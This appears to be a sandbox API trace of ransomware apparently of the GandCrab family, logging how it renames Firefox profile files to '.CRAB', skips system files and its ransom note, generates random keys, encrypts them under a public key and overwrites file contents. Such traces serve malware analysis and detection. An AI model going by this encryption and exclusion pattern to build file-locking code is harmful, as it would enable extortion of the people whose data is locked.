	[0120.904] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jsonlz4 ") returned 9
	[0120.904] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.904] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4") returned 174
	[0120.904] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4") returned 174
	[0120.904] lstrcmpiW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2="desktop.ini") returned -1
	[0120.904] lstrcmpiW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2="autorun.inf") returned -1
	[0120.904] lstrcmpiW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2="ntuser.dat") returned -1
	[0120.904] lstrcmpiW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2="iconcache.db") returned -1
	[0120.904] lstrcmpiW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2="bootsect.bak") returned -1
	[0120.904] lstrcmpiW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2="boot.ini") returned -1
	[0120.904] lstrcmpiW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2="ntuser.dat.log") returned -1
	[0120.905] lstrcmpiW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2="thumbs.db") returned -1
	[0120.905] lstrcmpiW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.905] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.905] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4.CRAB") returned 179
	[0120.905] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4")) returned 0x20
	[0120.906] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", dwFileAttributes=0x20) returned 1
	[0120.906] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4.crab")) returned 1
	[0120.907] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.908] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4.CRAB"
	[0120.908] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4.CRAB.CRAB"
	[0120.908] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e7c0) returned 1
	[0120.908] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.909] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.909] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.909] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0120.909] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0120.909] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.909] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0120.910] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.910] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.910] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.910] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0120.910] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0120.910] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.911] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.911] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.911] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0120.912] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3165958) returned 1
	[0120.912] CryptGetKeyParam (in: hKey=0x3165958, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.912] CryptEncrypt (in: hKey=0x3165958, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0120.912] GetLastError () returned 0x0
	[0120.912] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.912] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0120.913] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3165998) returned 1
	[0120.913] CryptGetKeyParam (in: hKey=0x3165998, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.913] CryptEncrypt (in: hKey=0x3165998, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0120.914] GetLastError () returned 0x0
	[0120.914] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.914] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0120.919] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.919] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.920] ReadFile (in: hFile=0x3fc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3147f2c*=0x1825, lpOverlapped=0x0) returned 1
	[0120.945] VirtualAlloc (lpAddress=0x0, dwSize=0x1830, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0120.946] VirtualAlloc (lpAddress=0x0, dwSize=0x1830, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0120.946] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.947] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffe7db, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.947] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1830, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x1830, lpOverlapped=0x0) returned 1
	[0120.947] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.947] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.951] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0120.951] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0120.951] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0120.951] CloseHandle (hObject=0x3fc) returned 1
	[0120.952] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.953] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.953] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.953] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.953] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.954] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.954] FindNextFileW (in: hFindFile=0x3165fd8, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0120.954] lstrcmpW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2=".") returned 1
	[0120.954] lstrcmpW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2="..") returned 1
	[0120.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4"
	[0120.954] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.954] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4") returned 174
	[0120.954] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4") returned 174
	[0120.954] lstrlenW (lpString=".jsonlz4") returned 8
	[0120.954] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.955] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jsonlz4 ") returned 9
	[0120.955] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.955] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4") returned 174
	[0120.955] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4") returned 174
	[0120.955] lstrcmpiW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2="desktop.ini") returned -1
	[0120.955] lstrcmpiW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2="autorun.inf") returned -1
	[0120.955] lstrcmpiW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2="ntuser.dat") returned -1
	[0120.955] lstrcmpiW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2="iconcache.db") returned -1
	[0120.955] lstrcmpiW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2="bootsect.bak") returned -1
	[0120.955] lstrcmpiW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2="boot.ini") returned -1
	[0120.955] lstrcmpiW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2="ntuser.dat.log") returned -1
	[0120.955] lstrcmpiW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2="thumbs.db") returned -1
	[0120.955] lstrcmpiW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.955] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.955] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4.CRAB") returned 179
	[0120.955] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4")) returned 0x20
	[0120.956] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", dwFileAttributes=0x20) returned 1
	[0120.957] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4.crab")) returned 1
	[0120.958] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.958] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4.CRAB"
	[0120.958] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4.CRAB.CRAB"
	[0120.958] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0120.959] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.959] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.959] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.959] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0120.959] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.959] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.960] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0120.961] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.961] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.961] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.961] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0120.961] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.961] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.961] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.962] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.962] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e5a0) returned 1
	[0120.962] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3165e98) returned 1
	[0120.962] CryptGetKeyParam (in: hKey=0x3165e98, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.962] CryptEncrypt (in: hKey=0x3165e98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0120.963] GetLastError () returned 0x0
	[0120.963] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0120.963] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0120.963] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3165ed8) returned 1
	[0120.963] CryptGetKeyParam (in: hKey=0x3165ed8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.963] CryptEncrypt (in: hKey=0x3165ed8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0120.964] GetLastError () returned 0x0
	[0120.964] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.964] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0120.964] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.965] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.965] ReadFile (in: hFile=0x3fc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3147f2c*=0x1435, lpOverlapped=0x0) returned 1
	[0121.024] VirtualAlloc (lpAddress=0x0, dwSize=0x1440, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.024] VirtualAlloc (lpAddress=0x0, dwSize=0x1440, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0121.024] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.025] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffebcb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.025] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x1440, lpOverlapped=0x0) returned 1
	[0121.025] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.025] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
